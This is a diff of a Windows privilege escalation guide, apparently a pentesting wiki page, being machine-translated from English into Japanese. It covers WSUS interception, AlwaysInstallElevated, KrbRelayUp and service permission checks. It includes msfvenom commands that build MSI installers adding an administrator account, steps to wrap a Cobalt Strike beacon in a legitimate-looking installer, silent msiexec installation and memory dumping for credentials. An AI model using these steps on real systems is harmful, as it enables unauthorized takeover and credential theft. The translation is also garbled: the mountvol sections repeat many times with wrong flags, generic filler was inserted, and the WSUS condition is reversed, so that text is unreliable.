instead of "Powershell Transcription". - +PowerShellのパイプライン実行の詳細を記録します。これには、コマンドの実行、コマンドの呼び出し、および一部のスクリプトの内容が含まれます。実行の全詳細や出力結果を持っているわけではありません。\ +これを有効にするには、最後のセクション(トランスクリプトファイル)のリンクに従って、「Powershellトランスクリプション」の代わりに「モジュールログ記録」を有効にします。 ``` reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging ``` - -To view the last 15 events from PowersShell logs you can execute: - +最後の15件のPowerShellログを表示するには、次のコマンドを実行します: ```bash Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView ``` +### PowerShell **スクリプトブロックの記録** -### PowerShell **Script Block Logging** - -It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details. - +スクリプトブロックの記録は、コードブロックが実行されるたびにそれらを記録するため、スクリプトの完全なアクティビティと内容をキャプチャします。それは各アクティビティの完全な監査トレイルを維持し、後でフォレンジックや悪意のある動作の研究に使用することができます。実行時にすべてのアクティビティを記録するため、完全な詳細を提供します。 ``` reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging ``` - -The Script Block logging events can be found in Windows Event viewer under following path: _Application and Sevices Logs > Microsoft > Windows > Powershell > Operational_\ -To view the last 20 events you can use: - +スクリプトブロックのログイベントは、Windowsイベントビューアの以下のパスにあります:_アプリケーションとサービスのログ > Microsoft > Windows > Powershell > Operational_\ +最後の20のイベントを表示するには、次のコマンドを使用します: ```bash Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview ``` +### インターネット設定 -### Internet Settings +#### Internet Explorer ゾーンのセキュリティ設定 +- インターネットゾーンのセキュリティレベルを高めることで、悪意のあるウェブサイトからの攻撃を防ぐことができます。 + +- インターネットオプションを開き、セキュリティタブに移動します。 + +- インターネットゾーンを選択し、セキュリティレベルを高に設定します。 + +- 信頼済みサイトゾーンとローカルイントラネットゾーンのセキュリティレベルも適切に設定します。 + +#### プロキシ設定 + +- プロキシサーバーを使用する場合は、適切な設定を行うことでセキュリティを向上させることができます。 + +- インターネットオプションを開き、接続タブに移動します。 + +- LANの設定を選択し、プロキシサーバーのアドレスとポートを設定します。 + +#### ファイアウォール設定 + +- ファイアウォールを適切に設定することで、ネットワークへの不正アクセスを防ぐことができます。 + +- Windowsの設定からファイアウォールを開きます。 + +- 必要なポートを開放し、不要なポートを閉じるように設定します。 + +#### セキュリティソフトウェアの設定 + +- セキュリティソフトウェアを使用する場合は、適切な設定を行うことでセキュリティを強化することができます。 + +- セキュリティソフトウェアの設定画面を開き、必要なオプションを有効にします。 + +- 定期的なアップデートを行い、最新のセキュリティ定義を保持します。 + +#### セキュリティアップデートの適用 + +- Windowsのセキュリティアップデートを定期的に適用することで、既知の脆弱性からの攻撃を防ぐことができます。 + +- Windows Updateを開き、最新のセキュリティアップデートをインストールします。 + +- 自動更新を有効にすることで、新しいアップデートが自動的に適用されるように設定します。 ```bash reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings" reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings" ``` +### ドライブ -### Drives +Windowsシステムでは、ドライブはファイルシステムへのアクセスを提供する重要な要素です。ドライブには、ローカルドライブ(Cドライブ、Dドライブなど)やネットワークドライブ(共有フォルダなど)などがあります。 +以下に、ドライブに関連する情報と攻撃技術について説明します。 + +#### ドライブの一覧表示 + +ドライブの一覧表示には、次のコマンドを使用します。 + +```bash +wmic logicaldisk get caption,description,drivetype,volumename +``` + +#### ドライブのマウントポイントの一覧表示 + +ドライブのマウントポイントの一覧表示には、次のコマンドを使用します。 + +```bash +mountvol +``` + +#### ドライブのマウントポイントの削除 + +ドライブのマウントポイントを削除するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` + +#### ドライブのマウントポイントの作成 + +ドライブにマウントポイントを作成するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` + +#### ドライブのマウントポイントの変更 + +ドライブのマウントポイントを変更するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /L +``` + +#### ドライブのマウントポイントの追加 + +ドライブにマウントポイントを追加するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /P +``` + +#### ドライブのマウントポイントの削除 + +ドライブのマウントポイントを削除するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` + +#### ドライブのマウントポイントの一覧表示 + +ドライブのマウントポイントの一覧表示には、次のコマンドを使用します。 + +```bash +mountvol +``` + +#### ドライブのマウントポイントの削除 + +ドライブのマウントポイントを削除するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` + +#### ドライブのマウントポイントの作成 + +ドライブにマウントポイントを作成するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` + +#### ドライブのマウントポイントの変更 + +ドライブのマウントポイントを変更するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /L +``` + +#### ドライブのマウントポイントの追加 + +ドライブにマウントポイントを追加するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /P +``` + +#### ドライブのマウントポイントの削除 + +ドライブのマウントポイントを削除するには、次のコマンドを使用します。 + +```bash +mountvol <ドライブのパス> /D +``` ```bash wmic logicaldisk get caption || fsutil fsinfo drives wmic logicaldisk get caption,description,providername Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root ``` - ## WSUS -You can compromise the system if the updates are not requested using http**S** but http. - -You start by checking if the network uses a non-SSL WSUS update by running the following: +システムを侵害することができます。もし更新がhttpではなくhttp**S**を使用してリクエストされていない場合です。 +次のコマンドを実行して、ネットワークが非SSLのWSUSアップデートを使用しているかどうかを確認します。 ``` reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer ``` - -If you get a reply such as: - +もし以下のような返答を受け取った場合: ```bash HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate - WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 +WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535 ``` +そして、`HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` が `1` に等しい場合、**これは悪用可能です**。最後のレジストリが0に等しい場合、WSUSのエントリは無視されます。 -And if `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer` is equals to `1`. +この脆弱性を悪用するために、[Wsuxploit](https://github.com/pimps/wsuxploit)、[pyWSUS](https://github.com/GoSecure/pywsus)などのツールを使用することができます。これらは、非SSLのWSUSトラフィックに「偽の」更新を注入するためのMiTM武器化されたエクスプロイトスクリプトです。 -Then, **it is exploitable.** If the last registry is equals to 0, then, the WSUS entry will be ignored. - -In orther to exploit this vulnerabilities you can use tools like: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- These are MiTM weaponized exploits scripts to inject 'fake' updates into non-SSL WSUS traffic. - -Read the research here: +研究はこちらで読むことができます: {% file src="../../.gitbook/assets/CTX_WSUSpect_White_Paper (1).pdf" %} **WSUS CVE-2020-1013** -[**Read the complete report here**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\ -Basically, this is the flaw that this bug exploits: +[**完全なレポートはこちらで読むことができます**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/)。\ +基本的に、このバグが悪用する欠陥は次のとおりです: -> If we have the power to modify our local user proxy, and Windows Updates uses the proxy configured in Internet Explorer’s settings, we therefore have the power to run [PyWSUS](https://github.com/GoSecure/pywsus) locally to intercept our own traffic and run code as an elevated user on our asset. +> もしローカルユーザープロキシを変更する権限がある場合、そしてWindows UpdatesがInternet Explorerの設定で構成されたプロキシを使用する場合、私たちは自分自身のトラフィックを傍受し、アセット上で昇格したユーザーとしてコードを実行する権限を持つため、[PyWSUS](https://github.com/GoSecure/pywsus)をローカルで実行する権限を持つことになります。 > -> Furthermore, since the WSUS service uses the current user’s settings, it will also use its certificate store. If we generate a self-signed certificate for the WSUS hostname and add this certificate into the current user’s certificate store, we will be able to intercept both HTTP and HTTPS WSUS traffic. WSUS uses no HSTS-like mechanisms to implement a trust-on-first-use type validation on the certificate. If the certificate presented is trusted by the user and has the correct hostname, it will be accepted by the service. +> さらに、WSUSサービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUSホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すると、HTTPおよびHTTPSのWSUSトラフィックを傍受することができます。WSUSは、証明書に対して信頼済みで正しいホスト名を持つ場合にのみ、HSTSのようなメカニズムを使用して信頼性を実装していません。 -You can exploit this vulnerability using the tool [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (once it's liberated). +この脆弱性を悪用するためには、[**WSUSpicious**](https://github.com/GoSecure/wsuspicious)ツールを使用することができます(解放されたら)。 ## KrbRelayUp -This is essentially a universal no-fix **local privilege escalation** in windows **domain** environments where **LDAP signing is not enforced,** where the **user has self rights** (to configure **RBCD**) and where the **user can create computers in the domain.**\ -All the **requirements** are satisfied with **default settings**. +これは、**LDAP署名が強制されていない**Windows **ドメイン**環境での**ユニバーサルな修正不可能なローカル特権昇格**です。ユーザーには**自己権限**(**RBCD**の設定)があり、ドメイン内で**コンピュータを作成**することができる必要があります。\ +すべての**要件**は**デフォルトの設定**で満たされています。 -Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp) +エクスプロイトは[**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)で見つけることができます。 -Even if the attack is For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) +攻撃が成功するかどうかに関しては、攻撃のフローについての詳細は[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)を参照してください。 ## AlwaysInstallElevated -**If** these 2 registers are **enabled** (value is **0x1**), then users of any privilege can **install** (execute) `*.msi` files as NT AUTHORITY\\**SYSTEM**. - +これらの2つのレジストリが**有効**(値が**0x1**)になっている場合、任意の特権を持つユーザーはNT AUTHORITY\\**SYSTEM**として`*.msi`ファイルを**インストール**(実行)することができます。 ```bash reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` +### Metasploitのペイロード -### Metasploit payloads +Metasploitは、侵入テストや脆弱性診断に使用される人気のあるフレームワークです。Metasploitには、様々なペイロード(攻撃コード)が用意されており、これらのペイロードを使用することで、標的システムに対して様々な攻撃を実行することができます。 +以下に、Metasploitで使用可能な一部のペイロードの例を示します。 + +- **reverse_tcp**: このペイロードは、標的システムからMetasploitハンドラに逆接続を行い、シェルを取得します。これにより、リモートでコマンドを実行したり、ファイルを転送したりすることができます。 + +- **bind_tcp**: このペイロードは、Metasploitハンドラが標的システムからの接続を待ち受け、シェルを取得します。これにより、リモートでコマンドを実行したり、ファイルを転送したりすることができます。 + +- **meterpreter**: このペイロードは、Metasploitの高度なフレームワークであるMeterpreterを使用します。Meterpreterは、標的システムに対してより高度な操作を行うことができるため、侵入テストや脆弱性診断において非常に便利です。 + +これらのペイロードは、Metasploitの柔軟性とパワーを活用するために使用されます。ただし、これらのペイロードを使用する際には、法的な制約や適切な許可を確保することが重要です。 ```bash msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted ``` - -If you have a meterpreter session you can automate this technique using the module **`exploit/windows/local/always_install_elevated`** +もしもメータプリーターセッションを持っている場合、モジュール**`exploit/windows/local/always_install_elevated`**を使用してこのテクニックを自動化することができます。 ### PowerUP -Use the `Write-UserAddMSI` command from power-up to create inside the current directory a Windows MSI binary to escalate privileges. This script writes out a precompiled MSI installer that prompts for a user/group addition (so you will need GIU access): - +PowerUPの`Write-UserAddMSI`コマンドを使用して、特権を昇格させるためのWindows MSIバイナリを現在のディレクトリ内に作成します。このスクリプトは、ユーザー/グループの追加を求める事前コンパイルされたMSIインストーラを出力します(したがって、GUIアクセスが必要です)。 ``` Write-UserAddMSI ``` +### MSIラッパー -Just execute the created binary to escalate privileges. - -### MSI Wrapper - -Read this tutorial to learn how to create a MSI wrapper using this tools. Note that you can wrap a "**.bat**" file if you **just** want to **execute** **command lines** +このツールを使用してMSIラッパーを作成する方法については、このチュートリアルを参照してください。ただし、**コマンドラインを実行するだけ**の場合は、"**.bat**"ファイルをラップすることもできます。 {% content-ref url="msi-wrapper.md" %} [msi-wrapper.md](msi-wrapper.md) {% endcontent-ref %} -### Create MSI with WIX +### WIXを使用してMSIを作成する {% content-ref url="create-msi-with-wix.md" %} [create-msi-with-wix.md](create-msi-with-wix.md) {% endcontent-ref %} -### Create MSI with Visual Studio +### Visual Studioを使用してMSIを作成する -* **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe` -* Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**. -* Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**. -* Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**. -* Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**. - * There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate. -* Right-click the project and select **View > Custom Actions**. -* Right-click **Install** and select **Add Custom Action**. -* Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run. -* Under the **Custom Action Properties**, change **Run64Bit** to **True**. -* Finally, **build it**. - * If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64. +* Cobalt StrikeまたはMetasploitで`C:\privesc\beacon.exe`に新しいWindows EXE TCPペイロードを**生成**します。 +* **Visual Studio**を開き、**新しいプロジェクトを作成**を選択し、検索ボックスに「installer」と入力します。**Setup Wizard**プロジェクトを選択し、**次へ**をクリックします。 +* **AlwaysPrivesc**などのプロジェクト名を付け、場所に**`C:\privesc`**を使用し、**ソリューションとプロジェクトを同じディレクトリに配置する**を選択し、**作成**をクリックします。 +* **次へ**をクリックし続け、ステップ4の3に到達するまで(含まれるファイルを選択する)。**追加**をクリックし、さきほど生成したBeaconペイロードを選択します。その後、**完了**をクリックします。 +* **ソリューションエクスプローラー**で**AlwaysPrivesc**プロジェクトを強調表示し、**プロパティ**で**TargetPlatform**を**x86**から**x64**に変更します。 +* インストールされたアプリがより正当に見えるようにするために、**Author**や**Manufacturer**などの他のプロパティも変更できます。 +* プロジェクトを右クリックし、**表示 > カスタムアクション**を選択します。 +* **インストール**を右クリックし、**カスタムアクションの追加**を選択します。 +* **Application Folder**をダブルクリックし、**beacon.exe**ファイルを選択し、**OK**をクリックします。これにより、インストーラが実行されるとすぐにBeaconペイロードが実行されます。 +* **カスタムアクションのプロパティ**で、**Run64Bit**を**True**に変更します。 +* 最後に、**ビルド**します。 +* 警告`File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`が表示される場合は、プラットフォームをx64に設定していることを確認してください。 -### MSI Installation - -To execute the **installation** of the malicious `.msi` file in **background:** +### MSIのインストール +悪意のある`.msi`ファイルの**インストール**を**バックグラウンドで**実行するには、以下の手順を実行します: ``` msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi ``` +この脆弱性を悪用するには、_exploit/windows/local/always\_install\_elevated_ を使用できます。 -To exploit this vulnerability you can use: _exploit/windows/local/always\_install\_elevated_ +## アンチウイルスと検出器 -## Antivirus and Detectors - -### Audit Settings - -These settings decide what is being **logged**, so you should pay attention +### 監査設定 +これらの設定は、**ログに記録**される内容を決定するため、注意が必要です。 ``` reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit ``` - ### WEF -Windows Event Forwarding, is interesting to know where are the logs sent - +Windows Event Forwarding(WEF)は、ログが送信される場所を知るために興味深いです。 ```bash reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager ``` - ### LAPS -**LAPS** allows you to **manage the local Administrator password** (which is **randomised**, unique, and **changed regularly**) on domain-joined computers. These passwords are centrally stored in Active Directory and restricted to authorised users using ACLs. If your user is given enough permissions you might be able to read the passwords of the local admins. +**LAPS**は、ドメインに参加しているコンピュータ上の**ローカル管理者パスワードを管理**することができます。これらのパスワードは、Active Directoryに集中的に保存され、ACLを使用して認可されたユーザーに制限されます。十分な権限が与えられている場合、ローカル管理者のパスワードを読み取ることができるかもしれません。 {% content-ref url="../active-directory-methodology/laps.md" %} [laps.md](../active-directory-methodology/laps.md) @@ -321,46 +481,37 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs ### WDigest -If active, **plain-text passwords are stored in LSASS** (Local Security Authority Subsystem Service).\ -[**More info about WDigest in this page**](../stealing-credentials/credentials-protections.md#wdigest). - +有効な場合、**平文のパスワードはLSASS(Local Security Authority Subsystem Service)に保存**されます。\ +[**このページでWDigestについての詳細情報**](../stealing-credentials/credentials-protections.md#wdigest)をご覧ください。 ``` reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential ``` +### LSA保護 -### LSA Protection - -Microsoft in **Windows 8.1 and later** has provided additional protection for the LSA to **prevent** untrusted processes from being able to **read its memory** or to inject code.\ -[**More info about LSA Protection here**](../stealing-credentials/credentials-protections.md#lsa-protection). - +Microsoftは**Windows 8.1以降**で、LSAの追加の保護を提供しています。これにより、信頼されていないプロセスがLSAのメモリを読み取ったり、コードを注入したりすることができなくなります。\ +[**LSA保護に関する詳細情報はこちら**](../stealing-credentials/credentials-protections.md#lsa-protection)。 ``` reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA /v RunAsPPL ``` - ### Credentials Guard -**Credential Guard** is a new feature in Windows 10 (Enterprise and Education edition) that helps to protect your credentials on a machine from threats such as pass the hash.\ -[**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard) - +**Credential Guard(資格情報ガード)**は、Windows 10(EnterpriseおよびEducationエディション)の新機能であり、ハッシュのパスワード攻撃などの脅威からマシン上の資格情報を保護するのに役立ちます。\ +[**Credentials Guardに関する詳細はこちらを参照してください。**](../stealing-credentials/credentials-protections.md#credential-guard) ``` reg query HKLM\System\CurrentControlSet\Control\LSA /v LsaCfgFlags ``` +### キャッシュされた資格情報 -### Cached Credentials - -**Domain credentials** are used by operating system components and are **authenticated** by the **Local** **Security Authority** (LSA). Typically, domain credentials are established for a user when a registered security package authenticates the user's logon data.\ -[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials). - +**ドメインの資格情報**は、オペレーティングシステムのコンポーネントによって使用され、**ローカル** **セキュリティ権限**(LSA)によって**認証**されます。通常、ドメインの資格情報は、登録されたセキュリティパッケージがユーザーのログオンデータを認証する際に、ユーザーのために確立されます。\ +[**キャッシュされた資格情報に関する詳細はこちら**](../stealing-credentials/credentials-protections.md#cached-credentials). ``` reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT ``` +## ユーザーとグループ -## Users & Groups - -### Enumerate Users & Groups - -You should check if any of the groups where you belong have interesting permissions +### ユーザーとグループの列挙 +所属しているグループの中に興味深い権限を持つものがあるかどうかを確認する必要があります。 ```bash # CMD net users %username% #Me @@ -375,57 +526,111 @@ Get-LocalUser | ft Name,Enabled,LastLogon Get-ChildItem C:\Users -Force | select Name Get-LocalGroupMember Administrators | ft Name, PrincipalSource ``` +### 特権グループ -### Privileged groups - -If you **belongs to some privileged group you may be able to escalate privileges**. Learn about privileged groups and how to abuse them to escalate privileges here: +もし**特権グループに所属している場合、特権をエスカレーションすることができる**かもしれません。特権グループについて学び、特権を悪用して特権をエスカレーションする方法については、こちらを参照してください: {% content-ref url="../active-directory-methodology/privileged-groups-and-token-privileges.md" %} [privileged-groups-and-token-privileges.md](../active-directory-methodology/privileged-groups-and-token-privileges.md) {% endcontent-ref %} -### Token manipulation +### トークンの操作 -**Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).\ -Check the following page to **learn about interesting tokens** and how to abuse them: +**トークン**についての詳細は、このページで学びましょう:[**Windows トークン**](../authentication-credentials-uac-and-efs.md#access-tokens)。\ +興味深いトークンについて学び、それらを悪用する方法については、以下のページをチェックしてください: {% content-ref url="privilege-escalation-abusing-tokens/" %} [privilege-escalation-abusing-tokens](privilege-escalation-abusing-tokens/) {% endcontent-ref %} -### Logged users / Sessions - +### ログインユーザー / セッション ``` qwinsta klist sessions ``` +### ホームフォルダー -### Home folders +The home folder is a directory on a Windows system that is assigned to each user account. It contains personal files, settings, and configurations specific to that user. In a Windows environment, the home folder is typically located in the `C:\Users` directory and is named after the user's username. +ホームフォルダーは、Windowsシステム上の各ユーザーアカウントに割り当てられたディレクトリです。個人のファイル、設定、およびそのユーザーに固有の構成が含まれています。Windows環境では、ホームフォルダーは通常、`C:\Users`ディレクトリにあり、ユーザーのユーザー名に基づいて名前が付けられています。 ``` dir C:\Users Get-ChildItem C:\Users ``` +### パスワードポリシー -### Password Policy +Windowsシステムのセキュリティを向上させるために、適切なパスワードポリシーを設定することが重要です。以下に、パスワードポリシーの設定に関するいくつかの重要なポイントを示します。 +- パスワードの長さ:パスワードは最低でも8文字以上である必要があります。より長いパスワードを使用することを推奨します。 +- 複雑さの要件:パスワードには、大文字と小文字のアルファベット、数字、特殊文字を含める必要があります。これにより、推測されにくいパスワードが作成されます。 +- パスワードの有効期限:パスワードは定期的に変更する必要があります。一般的には、60〜90日ごとに変更することが推奨されます。 +- パスワードの履歴:以前に使用されたパスワードを再利用することを防ぐために、パスワードの履歴を保持することが重要です。一般的には、最後に使用された数回分のパスワードを記憶するように設定します。 +- ロックアウトポリシー:一定回数の誤ったパスワード入力試行後にアカウントをロックすることで、不正アクセスを防止することができます。一般的には、3〜5回の試行後にアカウントをロックするように設定します。 + +これらのパスワードポリシーを適切に設定することで、Windowsシステムのセキュリティを強化することができます。 ``` net accounts ``` +### クリップボードの内容を取得する -### Get the content of the clipboard +To get the content of the clipboard, you can use the following methods: +#### Method 1: PowerShell + +```powershell +Get-Clipboard +``` + +This command will retrieve the content of the clipboard and display it in the PowerShell console. + +#### Method 2: Command Prompt + +```batch +clip +``` + +Running the `clip` command in the Command Prompt will output the content of the clipboard. + +#### Method 3: Python + +```python +import pyperclip + +content = pyperclip.paste() +print(content) +``` + +Using the `pyperclip` library in Python, you can retrieve the content of the clipboard and print it. + +#### Method 4: C# + +```csharp +using System; +using System.Windows.Forms; + +class Program +{ + static void Main() + { + IDataObject dataObject = Clipboard.GetDataObject(); + string content = (string)dataObject.GetData(DataFormats.Text); + Console.WriteLine(content); + } +} +``` + +In C#, you can use the `Clipboard` class to access the clipboard data and retrieve its content. + +These methods can be used to obtain the content of the clipboard, which can be useful in various scenarios, including local privilege escalation. ```bash powershell -command "Get-Clipboard" ``` +## 実行中のプロセス -## Running Processes - -### File and Folder Permissions - -First of all, listing the processes **check for passwords inside the command line of the process**.\ -Check if you can **overwrite some binary running** or if you have write permissions of the binary folder to exploit possible [**DLL Hijacking attacks**](dll-hijacking.md): +### ファイルとフォルダの権限 +まず、プロセスをリストアップして、**プロセスのコマンドライン内にパスワードが含まれているかどうかを確認**します。\ +実行中のバイナリを**上書きすることができるか**、またはバイナリフォルダに書き込み権限があるかどうかを確認して、[**DLLハイジャック攻撃**](dll-hijacking.md)を悪用できるかどうかを調べます。 ```bash Tasklist /SVC #List processes running and services tasklist /v /fi "username eq system" #Filter "system" processes @@ -436,106 +641,96 @@ Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "sv #Without usernames Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id ``` +常に実行中の[**electron/cef/chromiumデバッガー**を確認し、特権をエスカレーションするために悪用することができます](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md)。 -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md). - -**Checking permissions of the processes binaries** - +**プロセスバイナリの権限を確認する** ```bash for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do ( - for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( - icacls "%%z" +for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do ( +icacls "%%z" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. - ) +) ) ``` +**プロセスのバイナリフォルダのパーミッションをチェックする(**[**DLLハイジャッキング**](dll-hijacking.md)**)** -**Checking permissions of the folders of the processes binaries (**[**DLL Hijacking**](dll-hijacking.md)**)** +プロセスのバイナリフォルダのパーミッションをチェックすることは、特権昇格の可能性を見つけるために重要です。特に、DLLハイジャッキング攻撃の場合、悪意のあるDLLをプロセスが読み込むことができる場合があります。 +以下の手順でパーミッションをチェックします。 + +1. ターゲットプロセスのバイナリフォルダを特定します。 +2. バイナリフォルダのパーミッションを確認します。 +3. バイナリフォルダが書き込み可能な場合、攻撃者は悪意のあるDLLを配置することができます。 + +このチェックは、特権昇格の脆弱性を見つけるために重要なステップです。 ```bash -for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v +for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do ( - icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users +icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. ) ``` +### メモリパスワードマイニング -### Memory Password mining - -You can create a memory dump of a running process using **procdump** from sysinternals. Services like FTP have the **credentials in clear text in memory**, try to dump the memory and read the credentials. - +sysinternalsの**procdump**を使用して、実行中のプロセスのメモリダンプを作成することができます。FTPのようなサービスでは、**メモリ内に平文でクレデンシャルが保存**されている場合がありますので、メモリをダンプしてクレデンシャルを読み取ってみてください。 ``` procdump.exe -accepteula -ma ``` +### セキュリティの甘いGUIアプリ -### Insecure GUI apps +**SYSTEMとして実行されているアプリケーションでは、ユーザーがCMDを起動したり、ディレクトリを閲覧したりすることができる場合があります。** -**Applications running as SYSTEM may allow an user to spawn a CMD, or browse directories.** +例: "Windowsヘルプとサポート" (Windows + F1) を開き、"コマンドプロンプト"と検索し、"クリックしてコマンドプロンプトを開く"をクリックします。 -Example: "Windows Help and Support" (Windows + F1), search for "command prompt", click on "Click to open Command Prompt" - -## Services - -Get a list of services: +## サービス +サービスのリストを取得するには、以下のコマンドを実行します。 ``` net start wmic service list brief sc query Get-Service ``` +### 権限 -### Permissions - -You can use **sc** to get information of a service - +**sc**を使用してサービスの情報を取得できます。 ``` sc qc ``` - -It is recommended to have the binary **accesschk** from _Sysinternals_ to check the required privilege level for each service. - +各サービスの必要な特権レベルを確認するために、_Sysinternals_ のバイナリ **accesschk** を使用することをおすすめします。 ```bash accesschk.exe -ucqv #Check rights for different groups ``` - -It is recommended to check if "Authenticated Users" can modify any service: - +「Authenticated Users」がどのサービスでも変更できるかどうかを確認することをおすすめします。 ```bash accesschk.exe -uwcqv "Authenticated Users" * /accepteula accesschk.exe -uwcqv %USERNAME% * /accepteula accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version ``` +[ここからXP用のaccesschk.exeをダウンロードできます](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) -[You can download accesschk.exe for XP for here](https://github.com/ankh2054/windows-pentest/raw/master/Privelege/accesschk-2003-xp.exe) +### サービスの有効化 -### Enable service +もしSSDPSRVなどのエラーが発生している場合: -If you are having this error (for example with SSDPSRV): - -_System error 1058 has occurred._\ -_The service cannot be started, either because it is disabled or because it has no enabled devices associated with it._ - -You can enable it using +_システムエラー1058が発生しました。_\ 